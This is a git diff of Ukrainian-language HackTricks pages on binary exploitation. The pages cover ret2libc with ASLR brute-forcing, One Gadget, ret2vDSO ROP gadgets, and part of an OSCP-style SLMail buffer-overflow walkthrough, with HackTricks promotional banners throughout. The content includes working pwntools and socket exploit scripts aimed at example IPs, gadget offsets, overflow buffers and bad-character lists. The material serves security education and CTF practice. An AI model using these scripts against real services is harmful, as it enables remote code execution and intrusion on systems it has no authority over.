Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,166 @@
|
|||
# Ret2lib
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
Суть **Ret2Libc** полягає в перенаправленні потоку виконання вразливої програми на функцію у спільній бібліотеці (наприклад, **system**, **execve**, **strcpy**), замість виконання шелл-коду, наданого зловмисником на стеку. Зловмисник створює навантаження, яке змінює адресу повернення на стеку, щоб вказати на потрібну функцію бібліотеки, а також організовує необхідні аргументи відповідно до конвенції виклику.
|
||||
|
||||
### **Приклад кроків (спрощено)**
|
||||
|
||||
* Отримайте адресу функції, яку потрібно викликати (наприклад, system), та команду для виклику (наприклад, /bin/sh)
|
||||
* Створіть ланцюжок ROP для передачі першого аргументу, що вказує на рядок команди, та потоку виконання до функції
|
||||
|
||||
## Пошук адрес
|
||||
|
||||
* Припускаючи, що `libc`, яка використовується, є тією, що на поточній машині, ви можете знайти, де вона буде завантажена в пам'ять за допомогою:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Якщо ви хочете перевірити, чи змінює ASLR адресу libc, ви можете виконати:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
* Знаючи використану бібліотеку libc, також можливо знайти зміщення до функції `system` за допомогою:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
* Знаючи використану бібліотеку libc, також можливо знайти зміщення до функції рядка `/bin/sh` за допомогою:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### Використання gdb-peda / GEF
|
||||
|
||||
Знаючи використану бібліотеку libc, також можна використовувати Peda або GEF, щоб отримати адресу функції **system**, функції **exit** та рядка **`/bin/sh`** :
|
||||
```bash
|
||||
p system
|
||||
p exit
|
||||
find "/bin/sh"
|
||||
```
|
||||
### Використання /proc/\<PID>/maps
|
||||
|
||||
Якщо процес створює **дочірні** процеси кожен раз, коли ви з ним розмовляєте (мережевий сервер), спробуйте **прочитати** цей файл (ймовірно, вам знадобиться права root).
|
||||
|
||||
Тут ви можете знайти **точне місце завантаження libc** всередині процесу та **де буде завантажено** для кожного дочірнього процесу цього процесу.
|
||||
|
||||
![](<../../../.gitbook/assets/image (853).png>)
|
||||
|
||||
У цьому випадку він завантажений за адресою **0xb75dc000** (це буде базова адреса libc)
|
||||
|
||||
## Невідома бібліотека libc
|
||||
|
||||
Можливо, ви **не знаєте, яку бібліотеку libc завантажує** виконуваний файл (оскільки він може знаходитися на сервері, до якого у вас немає доступу). У цьому випадку ви можете скористатися вразливістю для **витоку деяких адрес та визначення, яка бібліотека libc** використовується:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/" %}
|
||||
[rop-leaking-libc-address](rop-leaking-libc-address/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Також ви можете знайти шаблон pwntools для цього в:
|
||||
|
||||
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %}
|
||||
[rop-leaking-libc-template.md](rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Відома бібліотека libc з 2 зміщеннями
|
||||
|
||||
Перевірте сторінку [https://libc.blukat.me/](https://libc.blukat.me/) та скористайтеся **парою адрес функцій** всередині libc, щоб дізнатися **використану версію**.
|
||||
|
||||
## Обхід ASLR у 32-бітних системах
|
||||
|
||||
Ці атаки на основі перебору корисні **лише для 32-бітних систем**.
|
||||
|
||||
* Якщо експлойт локальний, ви можете спробувати перебрати базову адресу libc (корисно для 32-бітних систем):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Якщо ви атакуєте віддалений сервер, ви можете спробувати **перебрати адресу функції `usleep` у `libc`**, передаючи як аргумент 10 (наприклад). Якщо в якийсь момент **сервер витрачає додаткові 10 секунд на відповідь**, ви знайшли адресу цієї функції.
|
||||
|
||||
## Один Гаджет
|
||||
|
||||
Виконайте оболонку, просто перейшовши до **однієї конкретної адреси** у `libc`:
|
||||
|
||||
{% content-ref url="one-gadget.md" %}
|
||||
[one-gadget.md](one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Приклад коду x86 Ret2lib
|
||||
|
||||
У цьому прикладі ASLR brute-force інтегрований у код, а вразливий бінарний файл розташований на віддаленому сервері:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
c = remote('192.168.85.181',20002)
|
||||
c.recvline()
|
||||
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE, could be address of exit()
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
```
|
||||
## Приклад коду x64 Ret2lib
|
||||
|
||||
Перевірте приклад з:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Приклад ARM64 Ret2lib
|
||||
|
||||
У випадку ARM64, інструкція ret переходить туди, куди вказує реєстр x30, а не туди, куди вказує реєстр стеку. Тому це трохи складніше.
|
||||
|
||||
Також в ARM64 інструкція робить те, що робить інструкція (неможливо перейти посеред інструкцій і перетворити їх на нові).
|
||||
|
||||
Перевірте приклад з:
|
||||
|
||||
{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
|
||||
[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ret-into-printf (або puts)
|
||||
|
||||
Це дозволяє **витік інформації з процесу**, викликаючи `printf`/`puts` з певними даними, розміщеними як аргумент. Наприклад, розміщення адреси `puts` в GOT у виклику `puts` дозволить **витік адреси `puts` в пам'яті**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
Це в основному означає зловживання **Ret2lib для перетворення його в уразливість рядків формату `printf`**, використовуючи `ret2lib` для виклику printf зі значеннями для експлуатації (здається непотрібним, але можливим):
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Інші Приклади та посилання
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, з витоком адреси функції в libc, використовуючи один гаджет
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 біти, ASLR увімкнено, але немає PIE, перший крок - заповнити переповнення до байту 0x00 канарейки, а потім викликати puts і витікати її. З канарейкою створюється ROP гаджет для виклику puts для витоку адреси puts з GOT та ROP гаджет для виклику `system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 біти, ASLR увімкнено, немає канарейки, переповнення стеку в main від дочірньої функції. ROP гаджет для виклику puts для витоку адреси puts з GOT, а потім виклик одного гаджета.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
* 64 біти, без pie, без канарейки, без relro, nx. Використовує функцію write для витоку адреси write (libc) та виклика одного гаджета.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* Використовує рядок формату для витоку канарейки зі стеку та переповнення буфера для виклику системи (вона в GOT) з адресою `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32 біти, без relro, без канарейки, nx, pie. Зловживання поганим індексуванням для витоку адрес libc та купи зі стеку. Зловживання переповненням буфера для виклику ret2lib `system('/bin/sh')` (адреса купи потрібна для обходу перевірки).
|
|
@ -0,0 +1,60 @@
|
|||
# Один Гаджет
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна Інформація
|
||||
|
||||
[**Один Гаджет**](https://github.com/david942j/one\_gadget) дозволяє отримати оболонку замість використання **system** та **"/bin/sh". Один Гаджет** знайде у бібліотеці libc спосіб отримання оболонки (`execve("/bin/sh")`) використовуючи лише одну **адресу**.\
|
||||
Проте, зазвичай є деякі обмеження, найбільш поширені та легкі для уникнення, такі як `[rsp+0x30] == NULL`. Оскільки ви контролюєте значення в **RSP**, вам просто потрібно відправити ще деякі NULL значення, щоб уникнути обмеження.
|
||||
|
||||
![](<../../../.gitbook/assets/image (754).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
Для адреси, вказаної One Gadget, потрібно **додати базову адресу, де завантажено `libc`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget є **великою допомогою для технік Arbitrary Write 2 Exec** і може **спростити ланцюжки ROP**, оскільки вам потрібно лише викликати один адрес (і виконати вимоги).
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
У репозиторії github зазначено, що **ARM64 підтримується** цим інструментом, але при його запуску в `libc` Kali 2023.3 **не знаходиться жодного гаджета**.
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
З [**репозиторію github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Інспірований [OneGadget](https://github.com/david942j/one\_gadget) цей інструмент написаний на Python і використовує [angr](https://github.com/angr/angr) для тестування обмежень для гаджетів, що виконують `execve('/bin/sh', NULL, NULL)`\
|
||||
Якщо ви вже вичерпали гаджети для спроби від One Gadget, Angry Gadget надає набагато більше з складними обмеженнями для спроби!
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,92 @@
|
|||
# Ret2vDSO
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Можуть бути **гаджети в області vDSO**, які використовуються для переходу з режиму користувача до режиму ядра. У цих типах викликів зазвичай надається зображення ядра для вивантаження області vDSO.
|
||||
|
||||
За прикладом з [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) можна побачити, як було можливо вивантажити розділ vdso та перемістити його на хост за допомогою:
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
08048000-08049000 r--p 00000000 00:02 317 /target
|
||||
08049000-0804a000 r-xp 00001000 00:02 317 /target
|
||||
0804a000-0804b000 rw-p 00002000 00:02 317 /target
|
||||
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
|
||||
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
|
||||
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
|
||||
|
||||
# Dump it
|
||||
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
|
||||
8192+0 records in
|
||||
8192+0 records out
|
||||
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
|
||||
|
||||
# Compress and leak it
|
||||
gzip vdso
|
||||
base64 vdso.gz
|
||||
|
||||
# Decompress and check of gadgets
|
||||
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
||||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
Знайдені ROP гаджети:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
int_0x80_xor_eax_eax_ret_addr = 0x8049010
|
||||
bin_sh_addr = 0x804a800
|
||||
|
||||
# 0x0000057a : pop edx ; pop ecx ; ret
|
||||
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
|
||||
|
||||
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
|
||||
|
||||
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
|
||||
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||
|
||||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу на те, як можливо **обійти ASLR, зловживаючи vdso**, якщо ядро скомпільоване з CONFIG\_COMPAT\_VDSO, оскільки адреса vdso не буде випадковою: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
Після вивантаження та перевірки розділу vdso бінарного файлу в kali 2023.2 arm64, я не зміг знайти там жодного цікавого гаджета (немає способу контролювати регістри зі значень у стеку або контролювати x30 для повернення) **окрім способу виклику SROP**. Перевірте більше інформації у прикладі з цієї сторінки:
|
||||
|
||||
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
||||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
264
binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
Normal file
264
binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
Normal file
|
@ -0,0 +1,264 @@
|
|||
# Взлом Windows (Базовий посібник - рівень OSCP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Почніть встановлювати службу SLMail**
|
||||
|
||||
## Перезапустіть службу SLMail
|
||||
|
||||
Кожного разу, коли вам потрібно **перезапустити службу SLMail**, ви можете зробити це за допомогою консолі Windows:
|
||||
```
|
||||
net start slmail
|
||||
```
|
||||
![](<../.gitbook/assets/image (988).png>)
|
||||
|
||||
## Дуже базовий шаблон експлоіту на Python
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
ip = '10.11.25.153'
|
||||
port = 110
|
||||
|
||||
buffer = 'A' * 2700
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
## **Змінити шрифт у Immunity Debugger**
|
||||
|
||||
Перейдіть до `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Прикріпіть процес до Immunity Debugger:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
![](<../.gitbook/assets/image (869).png>)
|
||||
|
||||
**Та натисніть кнопку START**
|
||||
|
||||
## **Надішліть експлойт та перевірте, чи змінено EIP:**
|
||||
|
||||
![](<../.gitbook/assets/image (906).png>)
|
||||
|
||||
Кожного разу, коли ви припиняєте роботу служби, вам слід перезапустити її, як це вказано на початку цієї сторінки.
|
||||
|
||||
## Створіть шаблон для зміни EIP
|
||||
|
||||
Шаблон повинен бути таким же великим, як буфер, який ви використовували для відключення служби раніше.
|
||||
|
||||
![](<../.gitbook/assets/image (420).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
Змініть буфер експлойту та встановіть шаблон та запустіть експлойт.
|
||||
|
||||
Повинен з'явитися новий збій, але з іншою адресою EIP:
|
||||
|
||||
![](<../.gitbook/assets/image (636).png>)
|
||||
|
||||
Перевірте, чи адреса була в вашому шаблоні:
|
||||
|
||||
![](<../.gitbook/assets/image (418).png>)
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
Виглядає так, ніби **ми можемо змінити EIP в зміщенні 2606** буфера.
|
||||
|
||||
Перевірте це, змінивши буфер експлоіту:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
З цим буфером EIP, що розбився, повинен вказувати на 42424242 ("BBBB")
|
||||
|
||||
![](<../.gitbook/assets/image (874).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (92).png>)
|
||||
|
||||
Здається, все працює.
|
||||
|
||||
## Перевірте наявність місця для Shellcode в стеку
|
||||
|
||||
600B повинно бути достатньо для будь-якого потужного shellcode.
|
||||
|
||||
Змінимо буфер:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
Запустіть новий експлойт та перевірте EBP та довжину корисного shellcode
|
||||
|
||||
![](<../.gitbook/assets/image (119).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (879).png>)
|
||||
|
||||
Ви можете побачити, що коли досягається вразливість, EBP вказує на shellcode і ми маємо багато місця для розміщення shellcode тут.
|
||||
|
||||
У цьому випадку у нас **від 0x0209A128 до 0x0209A2D6 = 430B.** Достатньо.
|
||||
|
||||
## Перевірте на наявність поганих символів
|
||||
|
||||
Знову змініть буфер:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
Погані символи починаються з 0x01, оскільки 0x00 майже завжди є поганим.
|
||||
|
||||
Виконуйте експлоіт повторно з цим новим буфером, видаляючи символи, які виявлено як непотрібні:.
|
||||
|
||||
Наприклад:
|
||||
|
||||
У цьому випадку ви бачите, що **не слід використовувати символ 0x0A** (нічого не зберігається в пам'яті, оскільки символ 0x09).
|
||||
|
||||
![](<../.gitbook/assets/image (111).png>)
|
||||
|
||||
У цьому випадку ви бачите, що **символ 0x0D уникнуто**:
|
||||
|
||||
![](<../.gitbook/assets/image (1098).png>)
|
||||
|
||||
## Знайдіть JMP ESP як адресу повернення
|
||||
|
||||
Використовуючи:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
Ви **виведете карти пам'яті**. Шукайте деякий DLl, який має:
|
||||
|
||||
* **Rebase: False**
|
||||
* **SafeSEH: False**
|
||||
* **ASLR: False**
|
||||
* **NXCompat: False**
|
||||
* **OS Dll: True**
|
